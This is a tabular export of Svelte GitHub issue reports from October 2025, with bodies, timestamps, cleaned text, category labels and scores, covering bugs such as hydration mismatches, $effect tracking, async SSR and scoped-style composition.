sveltejs/svelte,3528826356,Typescript type inference issues,"(I posted [this](https://discord.com/channels/457912077277855764/1427388014807617576) on the discord and haven't had a response for almost a week at time of writing, so I'm assuming that this is a bug)

### Describe the bug

When I have the following code in a svelte componenent's `<script lang=""ts"">` tag:

```ts
let deck = $derived($decks[nameOfOpenDeck] || null)
const test: Record<string, string> = {a: ""d""}
const test2 = test[""c""] || null
```

The type of `deck` is `FlashcardDeck`, and the type of `test2` is `string`

But when I have [the following code in typescript](https://www.typescriptlang.org/play/?#code/MYewdgzgLgBFCm0BcMBK9QCcAmAeamAlmAOYA0MBxJAfDALwwDeAhigETbsC+AUKJFgJoAJgZxEUANrtg7ALowAPkphgArgBtNvAPS6YhmAD0A-EA):

```ts
const test: Record<string, string> = {a: ""d""}
const test2 = test[""c""] || null
//    ^?
```

The type of `test2` is `string | null`

### Reproduction

https://svelte.dev/playground/5ba28e5ebc044971b1cd035653aa4638?version=latest

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.15 Fedora Linux 42 (Workstation Edition)
    CPU: (8) x64 AMD Ryzen 7 3750H with Radeon Vega Mobile Gfx
    Memory: 8.86 GB / 13.59 GB
    Container: Yes
    Shell: 5.2.37 - /bin/bash
  Binaries:
    Node: 24.7.0 - /home/jg/binary-repository/bin/node
    npm: 11.6.0 - /home/jg/binary-repository/bin/npm
  Browsers:
    Firefox: 143.0
    Firefox Developer Edition: 143.0
  npmPackages:
    svelte: ^5.0.0 => 5.39.8
```

### Severity

annoyance",,2025-10-18 13:27:24+00:00,2025-10-20 18:50:35+00:00,2,nan,2.2244,typescript type inference issues i posted this on the discord and haven t had a response for almost a week at time of writing so i m assuming that this is a bug describe the bug when i have the following code in a svelte componenent s tag the type of is and the type of is but when i have the following code in typescript the type of is reproduction logs system info severity annoyance,bug,-0.7783
sveltejs/svelte,3528236165,Svelte boundaries fail with remote function and being called in script,"### Describe the bug

When a remote function is called and the result is awaited in `<svelte:boundary>` while there is also a remote function which is called without a boundary.

i.e., like so

```ts
<script lang=""ts"">
	import { getDelayedData } from './data.remote';

	const moreData = await getDelayedData();
</script>

<h1>Dashboard</h1>

<svelte:boundary>
	<span>Protected Data</span>
	<p>Secret: {await getDelayedData()}</p>
	{#snippet pending()}
		<p>loading...</p>
	{/snippet}
</svelte:boundary>

<pre>
    {moreData}
</pre>
```
The page will forever show the loading state.

However, if you call the function inline like so, it works correctly,
```ts
<script lang=""ts"">
	import { getDelayedData } from './data.remote';
</script>

<h1>Dashboard</h1>

<svelte:boundary>
	<span>Protected Data</span>
	<p>Secret: {await getDelayedData()}</p>
	{#snippet pending()}
		<p>loading...</p>
	{/snippet}
</svelte:boundary>

<pre>
    {await getDelayedData()}
</pre>
```

### Reproduction

Full repo is here, <https://github.com/Hysterelius/better-auth-sveltekit-demo>

### Logs

```shell

```

### System Info

```shell
Binaries:
    Node: 24.3.0 - /home/hys/.local/share/pnpm/node
    npm: 11.4.2 - /home/hys/.local/share/pnpm/npm
    pnpm: 10.18.3 - /home/hys/.local/share/pnpm/pnpm
    Deno: 2.3.6 - /home/hys/.deno/bin/deno
  Browsers:
    Chrome: 141.0.7390.107
    Firefox: 144.0
    Firefox Developer Edition: 144.0
  npmPackages:
    svelte: ^5.41.0 => 5.41.0
```

### Severity

annoyance",,2025-10-18 07:21:47+00:00,2025-10-28 16:50:31+00:00,2,nan,10.395,svelte boundaries fail with remote function and being called in script describe the bug when a remote function is called and the result is awaited in while there is also a remote function which is called without a boundary i e like so the page will forever show the loading state however if you call the function inline like so it works correctly reproduction full repo is here logs system info severity annoyance,others,-0.8915
sveltejs/svelte,3525413798,Does createContext actually exist?,"### Describe the bug

Am I hallucinating here? [https://svelte.dev/docs/svelte/context#Type-safe-context](https://svelte.dev/docs/svelte/context#Type-safe-context)

```
import { createContext } from 'svelte';
...
```

`'""svelte""' has no exported member named 'createContext'. Did you mean 'getContext'? (ts 2724)`

### Reproduction

Just try to import it, I'm using version 5.40.2

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (12) arm64 Apple M2 Max
    Memory: 544.91 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.19.5 - /Users/pete/.nvm/versions/node/v20.19.5/bin/node
    npm: 10.8.2 - /Users/pete/.nvm/versions/node/v20.19.5/bin/npm
    pnpm: 9.8.0 - /Users/pete/Library/pnpm/pnpm
    bun: 1.2.23 - /opt/homebrew/bin/bun
    Deno: 2.4.0 - /opt/homebrew/bin/deno
  Browsers:
    Safari: 18.6
```

### Severity

annoyance",awaiting submitter,2025-10-17 10:15:51+00:00,2025-10-17 11:27:12+00:00,3,awaiting submitter,0.0495,does createcontext actually exist describe the bug am i hallucinating here reproduction just try to import it i m using version logs system info severity annoyance,others,-0.6486
sveltejs/svelte,3522671150,The frequent state updates are causing strange bugs (not actually frequent),"### Describe the bug

```svelte
<script>
  import {onMount} from 'svelte'
  let ct = $state(0)
  let LAST_TIME = 0

  $effect(() => {
    const now = Date.now()
    if (now - LAST_TIME < 1e3) return
    LAST_TIME = now
    console.log(ct) // It will not execute after the play button is clicked.
  })

  onMount(() => {
    setInterval(() => {ct++}, 1e3)
  })
</script>

<h1>current time: {ct}</h1>

<audio 
  controls src=""https://cdn.shopify.com/s/files/1/0939/9264/8985/files/p4.mp3?v=1760609307""
  ontimeupdate={e => {
    ct = e.target.currentTime
  }}	
></audio>
```

### Reproduction

https://svelte.dev/playground/hello-world?version=5.40.1#H4sIAAAAAAAAE21SXWvbMBT9KxdRqE07K1m6tDF2RmGDBdan5a0ew5WvGzFZEtJ10hD83yfFSZfB3nTPPefcLx2YrjtkOfuGShnYGacaSLCRhE3KblkrFXqWPx8Y7W3kRSDgJ9WjtZnfoqKIvdQe_4cLowk1BRtWeOGkpWWlAWRnjSM4GP1kek0DtM50cD3KriNDIYEgKOHKU02YTNIz-v3xx_rXevX0NSQnlY7wFbYtCkqSFMolHCIEEEp7Am12gfclWGThmaRjTraQxMyHC7cCpjhLwSH1To-0y1KB_tfXKMyUeU0EpcA5rAh2UqnAIcA3FD0h1C2hA9ogWFXv4aUnMhqkB6Gk-I1NFt2GdBzgtId_B_BIq7A9t63VOSHo5ma4PTZ6lhf8fa8h2EyXoncurBxIdphHyVDwAB_Tdd9IA1EaD-OM8uCdKCu2IbI-51w0OvMbY2W7z4TpuOfHX8CnfLKYLfji4_yOPywePp1ge5d1dvZ5W07v55N5oEzuKzYOFMv3tgmLLw94eZZ4VMyodq9I2anZdSAfBxoqqvSy4MdGl-EDEb4Ry8n1OPwMUS3VTuqG5W2tPA5_ANuuOBbDAgAA

### Logs

```shell

```

### System Info

```shell
playground
```

### Severity

annoyance",,2025-10-16 16:45:52+00:00,2025-10-16 16:59:33+00:00,1,nan,0.0095,the frequent state updates are causing strange bugs not actually frequent describe the bug reproduction logs system info severity annoyance,bug,-0.7269
sveltejs/svelte,3521236960,Scoped styles break when composing components,"### Describe the problem

When composing Svelte components that each define their own scoped styles, only the innermost child component's hash is applied to the rendered element. This prevents parent component styles from working correctly, breaking component composition patterns.

## Reproduction
Here's a minimal reproduction showing a `Heading` component that wraps a `Text` component:
### Text.svelte
```svelte
<script>
  let { tag = ""div"", class: className, children, ...props } = $props();
</script>

<svelte:element this={tag} class={[""text"", className]} {...props}>
  {@render children?.()}
</svelte:element>

<style>
  .text {
    color: gray;
    line-height: 1.5;
    font-weight: 400;
    font-size: 1rem;
  }
</style>
```
### Heading.svelte
```svelte
<script>
  import Text from './Text.svelte';
  let { tag = ""h2"", class: className, children, ...props } = $props();
</script>

<Text {tag} class={[""heading"", className]} {...props}>
  {@render children?.()}
</Text>

<style>
  .heading {
    color: black;
    font-weight: 600;
    text-wrap: balance;
  }
</style>
```
### Expected Output
```svelte
<h2 class=""text heading s-TextHash s-HeadingHash"">Content</h2>
```
### Output
```svelte
<h2 class=""text heading s-TextHash"">Content</h2>
```
Only the `Text` component's hash is applied. The `.heading` styles defined in `Heading.svelte` don't work because the `s-HeadingHash` is missing.
### Current Workaround
Using `:global(.heading)` works but defeats the purpose of scoped styles:
```... [TRUNCATED]",,2025-10-16 10:21:28+00:00,2025-10-16 11:53:33+00:00,1,nan,0.0639,scoped styles break when composing components describe the problem when composing svelte components that each define their own scoped styles only the innermost child component s hash is applied to the rendered element this prevents parent component styles from working correctly breaking component composition patterns reproduction here s a showing a component that wraps a component text svelte heading svelte expected output output only the component s hash is applied the styles defined in don t work because the is missing current workaround using works but defeats the purpose of scoped styles truncated,others,-0.6384
sveltejs/svelte,3519520525,"SvelteSet.has, SvelteMap.get and SvelteMap.has aren't fine grain when parameter is not in the object","### Describe the bug

When using the .get and .has methods, if the searched value does not exist within the object, the effect is triggered even if the returned value has not changed (false or undefined)
When the searched value exists within the object, the effect is triggered only when the result changes

### Reproduction

While foo doesn't exist within the set, the hasFoo function is triggered with each new task created
After the foo task is created, the hasFoo function is no longer triggered
[repl](https://svelte.dev/playground/hello-world?version=5.40.1#H4sIAAAAAAAAA21Sy4rcMBD8lUY5jA3Bvg-2Q2BZct_c4hw0dntHrCwJqT2Txfjf03pMloUcjNylqupWSbswckVxFj9Qawt36_UMFc6KcK7FV7EojUGcf-2C3l3kRYDxovruXBNuqCliFxnwf_hkDaEhthFdmLxyNIxmJLU66wn2l8R7QTpg8XaFUWRl61FOpG6K3kcRBfFjr0BAMrwF6MHgHf7Jq5oJTFk2wzJr4CrDs7VVDXtSF21GWZxMGi6r02Ltqf4gWY2Ntq9VppYNj7T5h2mEjtF07cd5TOcGFYCu6BEksGXq8A26ix_2xyxH17rMXqxfgZttl1VRv1dYQz_kUbFxHm8c2RMuctP5ZGX8JOsBm2nznik_pX9F-rz_JEmWdJ5LWUW8_pwgUx7shj2qUwRzDmqBKlZ1SUnOc65TwCxqPIYc-XGk2-yUcRuB03LCq9Uz-n4UqUt8EqNIS4FGkSWXjciagc1Tm64tQAw2NklB7V_4GVzLlcuQfo4kd8Oeihzp3kbewe-N8A-JM_kNj99cSaXvyszivEgd8PgLrgJEC_ICAAA)

### Logs

```shell

```

### System Info

```shell
running Svelte compiler version 5.40.1
```

### Severity

annoyance",,2025-10-15 20:44:40+00:00,2025-11-03 22:50:52+00:00,1,nan,19.0876,svelteset has sveltemap get and sveltemap has aren t fine grain when parameter is not in the object describe the bug when using the get and has methods if the searched value does not exist within the object the effect is triggered even if the returned value has not changed false or undefined when the searched value exists within the object the effect is triggered only when the result changes reproduction while foo doesn t exist within the set the hasfoo function is triggered with each new task created after the foo task is created the hasfoo function is no longer triggered repl logs system info severity annoyance,others,0.5423
sveltejs/svelte,3511504334,getAbortSignal's signal abortion causes maximum tearing,"### Describe the bug

Svelte async has a behavior in which asynchronous derivations are rendered in order until the most current derivation is displayed
This behavior is mostly unnoticeable (since derivations don't usually happen in sequence so quickly), but 99% of the time it's an undesirable behavior
To prevent these derivations that are already stale when computed (I call them stillborn derivations) from appearing, Svelte offers a helper called getAbortSignal that allows you to abort stillborn derivations
Unfortunately, when these stillborn branches are aborted, a desynchronization occurs between the parent state and its branch

### Reproduction

[repl](https://svelte.dev/playground/hello-world?version=5.39.11#H4sIAAAAAAAAA32ST4-bMBDFv8rI6sFU0SbZPxcaIu2te1upvdU9mDDsWjK2ZY-XrhDfvTZskk2pIoRgxu_33oA9MCM7ZCX7jlpb6K3XDXBsFGFTsBVrlcbAyl8Do3eXdbmR-h_Uo3M34Q015V4tA_6vf7CG0FCyYbtw8MrRXhhBqnPWEwwvSI91evuhXozUI7TediDYjAuWpfluozmQsga6qEk5_c7lCuoChklAHil6AwZ7eE4GKiDnvoBqfxQISnMEgjDFQAWXubw4ymbBjTUyryYhv7RJWfxTISgZAb2i4QVc9E9W9Opt_9ROadick_I1novxtHBqBqSfqkMbiS-mWMxpotafh5TwNf2gk-cKtpvN5qOes3JOeuj0AQcbTTb5EkgS8k3xTZjd-rxdZqeMiwS1Mk35JnXEapiYEfLJqAQzsavRCwbrWe_22zTAUVTBIHup6Lx929UcWoy7tdtPwO1V4HYJ3F0F7pbA_VXgfgk8XAUe_gHSaSf8Q6wkH3H8nSqpdJ9-GStbqQOOfwECE0w1cAMAAA)
If you quickly increase the counter to a high number, for example 20, the count value in the input is automatically updated to 20, the count value in the template is updated to 19 as if considering the aborted derivations as succ... [TRUNCATED]",,2025-10-13 21:14:43+00:00,2026-03-16 21:02:12+00:00,2,nan,153.9913,getabortsignal s signal abortion causes maximum tearing describe the bug svelte async has a behavior in which asynchronous derivations are rendered in order until the most current derivation is displayed this behavior is mostly unnoticeable since derivations don t usually happen in sequence so quickly but of the time it s an undesirable behavior to prevent these derivations that are already stale when computed i call them stillborn derivations from appearing svelte offers a helper called getabortsignal that allows you to abort stillborn derivations unfortunately when these stillborn branches are aborted a desynchronization occurs between the parent state and its branch reproduction repl if you quickly increase the counter to a high number for example the count value in the input is automatically updated to the count value in the template is updated to as if considering the aborted derivations as succ truncated,others,0.5994
sveltejs/svelte,3510195814,Server `render()` result shape is impractical to work with,"### Describe the bug

When awaiting `render()` when `compilerOptions.experimental.async` isn't enabled, the `experimental_async_ssr` warning is shown. Problem is, there's no way to know if the result is awaitable from its shape because `then` is always present: https://github.com/sveltejs/svelte/blob/main/packages/svelte/src/internal/server/renderer.js#L352-L384. That's an issue for us in Astro.

My recommendation would be to only set the `then` property if `async_mode_flag` is true so we can do checks like `'then' in result`:

```js
let result = render(...)
if (isPromise(result)) {
  result = await result
}
```

That currently forces us to make a pretty big workaround, see https://github.com/withastro/astro/pull/14526.

I'd be happy to open a PR

### Reproduction

See https://github.com/withastro/astro/issues/14508 and https://stackblitz.com/edit/github-tpnsqnas?file=src%2Fpages%2Findex.astro

### Logs

```shell

```

### System Info

```shell
N/A
```

### Severity

annoyance",,2025-10-13 13:59:25+00:00,2025-10-14 20:56:50+00:00,2,nan,1.2899,server result shape is impractical to work with describe the bug when awaiting when isn t enabled the warning is shown problem is there s no way to know if the result is awaitable from its shape because is always present that s an issue for us in astro my recommendation would be to only set the property if is true so we can do checks like that currently forces us to make a pretty big workaround see i d be happy to open a pr reproduction see and logs system info severity annoyance,others,0.1531
sveltejs/svelte,3508083576,Format failed with `attribute_empty_shorthand` for Snippet with attachment,"### Describe the bug

prettier stops formatting when `snippet` inside tag with `attach` tag with `attribute_empty_shorthand` error. svelte check gives no error and this code is compiled successfully.

### Reproduction

```svelte
	<UIButton href=""/filters"" variant=""blur"" badge={filtersBadge}>
		{#snippet icon()}
			<svg {@attach svg('/filter.svg')} />
		{/snippet}
	</UIButton>
```

### Logs

```shell
2025-10-13T02:15:07+02:00 ERROR [project::lsp_store] Formatting failed: default prettier instance failed to format buffer: attribute_empty_shorthand: Attribute shorthand cannot be empty
https://svelte.dev/e/attribute_empty_shorthand
(unknown):6:8
4:   <UIButton href=""/filters"" variant=""blur"" badge={filtersBadge}>
5:     {#snippet icon()}
6:       <svg {@attach svg('/filter.svg')} />
              ^
7:     {/snippet}
8:   </UIButton>
While handling prettier request: {""jsonrpc"":""2.0"",""id"":39,""method"":""prettier/format"",""params"":{""text"":""..snip.."",""options"":{""plugins"":[""/Users/~/Library/Application Support/Zed/prettier/node_modules/prettier-plugin-svelte/plugin.js""],""parser"":null,""filepath"":""/Users/~/git/~web/src/components/menu/Menu.svelte"",""prettierOptions"":{""printWidth"":120,""useTabs"":true,""tabWidth"":2},""ignorePath"":null
```

### System Info

```shell
nodejs
```

### Severity

annoyance",,2025-10-13 00:20:32+00:00,2025-10-14 18:17:09+00:00,2,nan,1.7477,format failed with for snippet with attachment describe the bug prettier stops formatting when inside tag with tag with error svelte check gives no error and this code is compiled successfully reproduction logs system info severity annoyance,others,-0.836
sveltejs/svelte,3505082530,$effect not rerun when state changed,"### Describe the bug

If you have an early return in $effect, the effect will not be tracked even the state read inside the $effect changes.

Here's the [playground link](https://svelte.dev/playground/315ec465a64d4ab98225d43a83b2ac50?version=latest).

If this is not a bug, it should be documented in https://svelte.dev/docs/svelte/$effect

### Reproduction

Here's the [playground link](https://svelte.dev/playground/315ec465a64d4ab98225d43a83b2ac50?version=latest)

### Logs

```shell

```

### System Info

```shell
none
```

### Severity

annoyance",,2025-10-11 03:07:39+00:00,2025-10-11 06:34:38+00:00,1,nan,0.1437,effect not rerun when state changed describe the bug if you have an early return in effect the effect will not be tracked even the state read inside the effect changes here s the playground link if this is not a bug it should be documented in reproduction here s the playground link logs system info severity annoyance,others,-0.8074
sveltejs/svelte,3504209577,`#each` blocks without an item + key expression cause a runtime error,"### Describe the bug

When using an `#each` block like this: `{#each { length: data.length }, index (data[index])}`, the generated JavaScript is invalid — `(, index) => data[index]`, which results in a runtime error.

Expected: this syntax should either be supported or produce a compile-time error.

Workaround: `{#each { length: data.length } as _, index (data[index])}`

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.39.11#H4sIAAAAAAAAA22MzQrCMBCEX2VZLxWCRb2FKnjzHdoeYrPaQNyWZv0j5N0lFfHibebjm4nI5kqo8UjeD_AYJm-hIOuE7BIVnp2ngLqOKK8xexmg-q4O47gKd_KS2ckE-se7gYVYAmqsQje5UfYNN9INHASsEQM7qNdqo7Ztw1X5UzguyHQ9RPDEF-n1bK8-BZICx5aeUGRaz7ldpnwd55IajmU-SKhQ6CmoZbpRahWKcf7h2KI-Gx8ovQErNaKaBwEAAA)

### Logs

```shell

```

### System Info

```shell
-
```

### Severity

annoyance",,2025-10-10 19:11:23+00:00,2025-10-17 20:06:55+00:00,1,nan,7.0386,blocks without an item key expression cause a runtime error describe the bug when using an block like this the generated javascript is invalid which results in a runtime error expected this syntax should either be supported or produce a compile time error workaround reproduction repl logs system info severity annoyance,bug,-0.9231
sveltejs/svelte,3499094160,`await isn't allowed in non-async function` when assigning  `{@const ... await}` inside `{#each...}` block,"### Describe the bug

It is not possible to use asynchronous function calls (`{@const foo = await fn()}`) inside of an `{#each}` block.

It is possible to mitigate it by passing the data directly to a component instead.



### Reproduction

```svelte
{#each { length: 1 } as _}
  {@const data = await Promise.resolve(""data"")}
{/each}
```

https://stackblitz.com/github/tinggaard/await-in-non-async-fn

**Edit:** For some reason this does _not_ throw in the Svelte REPL. see:
https://svelte.dev/playground/68548d8982b34b35a121594bda946ad5

### Logs

```shell
[vite] (ssr) Error when evaluating SSR module /src/routes/+page.svelte: Parse failure: await isn't allowed in non-async function
At file: /src/routes/+page.svelte:16:18
  File: /src/routes/+page.svelte:16:18
  14 |  			for (let $$index = 0, $$length = each_array.length; $$index < $$length; $$index++) {
  15 |  				let _ = each_array[$$index];
  16 |  				const data = (await $.save(Promise.resolve(""data"")))();
     |                    ^
  17 |  			}
  18 |
```

### System Info

```shell
System:
    OS: Linux 6.17 Arch Linux
    CPU: (16) x64 AMD Ryzen 7 8845HS w/ Radeon 780M Graphics
    Memory: 7.12 GB / 27.15 GB
    Container: Yes
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.9.0 - /usr/bin/node
    npm: 11.6.1 - /usr/bin/npm
    pnpm: 10.18.0 - /usr/bin/pnpm
  Browsers:
    Brave Browser: 139.1.81.137
    Chromium: 141.0.7390.54
    Firefox: 143.0.4
    Firefox Developer Edition: 143.0.4
  npmPackages:
    @sveltejs/adap... [TRUNCATED]",,2025-10-09 13:04:32+00:00,2025-10-09 16:43:42+00:00,2,nan,0.1522,when assigning inside block describe the bug it is not possible to use asynchronous function calls inside of an block it is possible to mitigate it by passing the data directly to a component instead reproduction edit for some reason this does not throw in the svelte repl see logs system info shell system os linux arch linux cpu x amd ryzen hs w radeon m graphics memory gb gb container yes shell bin zsh binaries node usr bin node npm usr bin npm pnpm usr bin pnpm browsers brave browser chromium firefox firefox developer edition npmpackages sveltejs adap truncated,others,-0.4019
sveltejs/svelte,3496866603,`:this` CSS pseudoclass for selecting the component itself,"### Describe the problem

In Svelte we can use `:global` inside scoped styles to create CSS selectors that influence child components and elements:
```ts
<div class=""foo"">
  {@render children()}
</div>

<style>
  .foo :global(span) {
    color: red;
  }
</style>
```
This is wonderful, but demands that we specify an element in the component as a selector. However sometimes we would like to create a deep selector without a surrounding element. 

When using headless UI libraries like [Bits UI](https://www.bits-ui.com/), its natural to create wrapper components. In such wrappers, I'd like to select child elements from the library, _without_ selecting anything _outside_ the component. But I would _also_ like to avoid adding superfluous wrapper elements around them.

I could pass a class into the component to narrow the selector; however, this relies on the fact the library offers a prop for this, which may not always be the case. To make things worse, I can still accidentally repeat the selector elsewhere if I happen to pass the same class again.

See [this REPL for a demonstration](https://svelte.dev/playground/81d0c410c7324922b70e3aaabd038ac9?version=5.39.11#H4sIAAAAAAAAA9VVTW-cMBD9KyNUdVspgHolpFLTUy9R1ainkIOBWdaKsZE9ZLNC_Pfa4KWEZaOoH1J7Mh7Pe2PP8zNdIFmNQRIktOMGDAosSOngIthygSZI7rqADo3LcAEb9_mfmiYyjyjIxXJmcC1eKEkoydIEqSk0b-hjJjPidaM0wa0dBV63RErCVqsaNlE8D3qizQzz2TIyLlEvYIv4GlIwY7Bc4ubROSqTAB7ZgQcxA9eczHfu572nyW0wbPnmMpNp_POcMq1RtsOJ0_mxhkhGN-wBy5HwC-w1axrUkI_M-xiSSqiciUmSgSY-5XHh-a... [TRUNCATED]",,2025-10-08 20:53:42+00:00,2025-10-09 00:20:58+00:00,4,nan,0.1439,css pseudoclass for selecting the component itself describe the problem in svelte we can use inside scoped styles to create css selectors that influence child components and elements this is wonderful but demands that we specify an element in the component as a selector however sometimes we would like to create a deep selector without a surrounding element when using headless ui libraries like bits ui its natural to create wrapper components in such wrappers i d like to select child elements from the library without selecting anything outside the component but i would also like to avoid adding superfluous wrapper elements around them i could pass a class into the component to narrow the selector however this relies on the fact the library offers a prop for this which may not always be the case to make things worse i can still accidentally repeat the selector elsewhere if i happen to pass the same class again see this repl for a demonstration truncated,documentation,0.9209
sveltejs/svelte,3496561163,Cannot have Proxy inside $state,"### Describe the bug

It seems like a `Proxy` inside `$state` is somehow lost.

```ts
let state = $state(new Proxy({ foo: 42 }, {
	set(target, prop, value) {
		console.log(`Setting ${prop} to ${value}`);
		target[prop] = value;
		return true;
	}
}));

state.foo++; // The Proxy set handler is not invoked
```

### Reproduction

https://svelte.dev/playground/246e42e88fbb434c96e7e8b65667d6e6?version=5.39.11

As you can see, a `Proxy` inside `$state` does not work, while `$state` inside a `Proxy` works.

### Logs

```shell

```

### System Info

```shell
That of the latest Svelte Playground
```

### Severity

annoyance",,2025-10-08 19:03:21+00:00,2025-10-08 21:13:05+00:00,2,nan,0.0901,cannot have proxy inside state describe the bug it seems like a inside is somehow lost reproduction as you can see a inside does not work while inside a works logs system info severity annoyance,others,-0.6249
sveltejs/svelte,3491276114,SSR without pending boundary causes reactivity loss,"### Describe the bug

Async SSR without a pending boundary causes reactivity loss somehow

### Reproduction

Wasn't able to wittle it down more yet, but [this repro](https://github.com/timootten/SvelteKit-Remotefunctions) shows the issue: the remote function is SSR'd, stuff hydrates, but updates are not recognized anymore (remote functions themselves work correctly as seen in the network tab or when you disable SSR)

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

blocking an upgrade",,2025-10-07 12:25:05+00:00,2025-10-07 16:00:07+00:00,2,nan,0.1493,ssr without pending boundary causes reactivity loss describe the bug async ssr without a pending boundary causes reactivity loss somehow reproduction wasn t able to wittle it down more yet but this repro shows the issue the remote function is ssr d stuff hydrates but updates are not recognized anymore remote functions themselves work correctly as seen in the network tab or when you disable ssr logs system info severity blocking an upgrade,others,-0.7717
sveltejs/svelte,3490780055,@const reactivity degradation in 5.39.8,"### Describe the bug

I think it'll be easier to see than to describe. Compare output between 5.39.7 and 5.39.8.

### Reproduction

[REPL](https://svelte.dev/playground/098f25d4a7b4436487f49c3c593f80cb?version=5.39.8#H4sIAAAAAAAAE4VUy47TMBT9lasMUjtSnzBCkKZlYDazgQUzEgvCwo1vWgvXjmx3plWIxJ4VEnv-jS_gE7h20jbtDLCJnPs4PvdxXEaKrTCKo_fIMifuhNtCYfRc4irqRbmQaKP4Yxm5beGjvIHsTc7rohjYO5TO2-bM4mP2TCuHyhFMlNjMiMKBZGoxTSNn02iWqtSJVaGNgyuKZEKhgdzoFaTRYLg3NXhp1IovQau3eq0cVLuMdlSqACQ64MIWkm3fao4xdBZG8A58gY52SzQdmMIT65jDbu05n-zS7JIZfCN19vnG-ylVcIkh1S71fTgsBeeo2iAhxoOkzoMI-4EJJ9Timkl5CMuZtHhOQXRXU0O3ew7TGZSBubPobsUK9frETp5jWoRZ06n9VQ_Go5FHdhV9k2Hdcd9lVZ5ZJYriqLRuCSu0li0QqvPKpyVc3EEmmbU0obne1MHNoMhtndFqMbvxVph7DLqktjURBDArG9QqGfrfANycymFDo6pJibw9IZhOp82QKt-d8pL2x1IjVa4DYyr4QQumuybAq5YTYlgrjjmtDw93pS7ctoeqasK3Swy2uhrAjbC0mT56KPJAIjls5j55Wh5wZslhUUOFIY_ab91W4sxDDHwrS38CmGvD0cQwLjbAmV0ih2xtDInkSkttJnVUwTinxaGwp8Vm0s7sG8bF2h55VswshIrhBWGOgi0wH4R2kFIyjxzD2RhfjvJ84r1-bjU9UqnDjYtiZ9ZY9f6i9lMtHmv-Ee9_lQ9QD7dsjbfyKqEXqLBdL6OjDT7azWx3YQOVLJ_N9iSSIf3V-nowc9-u8pLazdvzPCiBlH6NUur6TTmM_vfP7986tUwIIEaScHXCibY4w6WWPLB6p1t1_fr6A-4RmmsVvT403J0mCK_emb1cjnZnXyp1KqczTf6i2AzHgwtYi75lyvYtGpH3wG6tw1V_LSbN_FuM_HtZsIxe-BhGg-eTk53510p8oj8m5L1QPIrD41X9AW6rAyE5BgAA)

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

blocking an upgrade",,2025-10-07 09:55:18+00:00,2025-10-07 15:11:40+00:00,1,nan,0.2197,const reactivity degradation in describe the bug i think it ll be easier to see than to describe compare output between and reproduction repl logs system info severity blocking an upgrade,others,-0.7351
sveltejs/svelte,3489957092,`hydration_mismatch`,"### Describe the bug

I honestly don't know what to title this. Please edit the title as-needed.

```svelte
<script lang=""ts"">
  import { getIds } from './data.remote';
</script>

<!-- hydration_mismatch -->
<ol>
  {#each await getIds() as id (id)}
    <li>{id}</li>
  {/each}
</ol>

<!-- no warning -->
<ol>
  <svelte:boundary>
    {#each await getIds() as id (id)}
      <li>{id}</li>
    {/each}
  </svelte:boundary>
</ol>

<!-- no warning -->
{#each await getIds() as id (id)}
  <li>{id}</li>
{/each}
```


### Reproduction

https://github.com/hyunbinseo/svelte-16905

### Logs

```shell

```

### System Info

```shell
System:
  OS: Windows 11 10.0.26100
  CPU: (8) x64 Intel(R) Core(TM) Ultra 7 258V
  Memory: 6.07 GB / 31.48 GB
Binaries:
  Node: 24.9.0 - C:\Users\hyunb\AppData\Local\fnm_multishells\10736_1759812622707\node.EXE
  npm: 11.6.0 - C:\Users\hyunb\AppData\Local\fnm_multishells\10736_1759812622707\npm.CMD
  pnpm: 10.18.1 - C:\Users\hyunb\AppData\Local\fnm_multishells\10736_1759812622707\pnpm.CMD
  Deno: 2.4.0 - C:\Users\hyunb\.deno\bin\deno.EXE
Browsers:
  Chrome: 140.0.7339.210
  Edge: Chromium (140.0.3485.54)
  Firefox: 143.0.4 - C:\Program Files\Mozilla Firefox\firefox.exe
```

### Severity

blocking an upgrade",,2025-10-07 05:01:02+00:00,2025-10-07 16:00:06+00:00,1,nan,0.4577,describe the bug i honestly don t know what to title this please edit the title as needed reproduction logs system info severity blocking an upgrade,others,0.0065
sveltejs/svelte,3489638818,Async function declared in `$derived()` results in `HierarchyRequestError` on hydration from SSR,"### Describe the bug

It seems that #16806 introduced a regression for traditional `{#await}` blocks. Calling an async function declared with `$derived` results in hydration from SSR failing catastrophically.

### Reproduction

[On StackBlitz](https://stackblitz.com/edit/sveltejs-kit-template-default-qcnhv8eu?file=src%2Flib%2FAsyncValue.svelte) due to specifically happening in hydration

### Logs

```shell
Uncaught (in promise) HierarchyRequestError: Failed to execute 'appendChild' on 'Node': This node type does not support this method.
```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: 5.39.4 => 5.39.4
```

### Severity

blocking an upgrade",,2025-10-07 01:44:12+00:00,2025-10-25 18:03:14+00:00,1,nan,18.6799,async function declared in results in on hydration from ssr describe the bug it seems that introduced a regression for traditional blocks calling an async function declared with results in hydration from ssr failing catastrophically reproduction on stackblitz due to specifically happening in hydration logs system info severity blocking an upgrade,bug,-0.8689
sveltejs/svelte,3484651915,Separately declared property can be accessed in rest property but doesn't show up when inspecting,"### Describe the bug

The bug refers to this context: https://svelte.dev/tutorial/svelte/spread-props

The intuitive behavior after `let { name, ...stuff } = $props();` is to not be able to access `stuff.name`.
As expected, looking at the keys of the `stuff` object, `name` doesn't show up.

This has been discussed in this Discord thread: https://discord.com/channels/457912077277855764/1424084421711237241

Another person described that:
> Looking at the output, both `name` and `stuff.name` are compiled to `$$props.name`:
`$.set_text(text_3, $$props.name);    $.set_text(text_4, $$props.name);`

<img width=""1453"" height=""621"" alt=""Image"" src=""https://github.com/user-attachments/assets/206d2344-6a12-4cce-b188-8b9e11b49aaf"" />

### Reproduction

1. A component that accepts props and destructures them in at least one variable and a rest property:
```svelte
<script>
	let {name, version, ...stuff} = $props()
</script>
```
2. Passing an object to the component where it is used:
```svelte
<script>
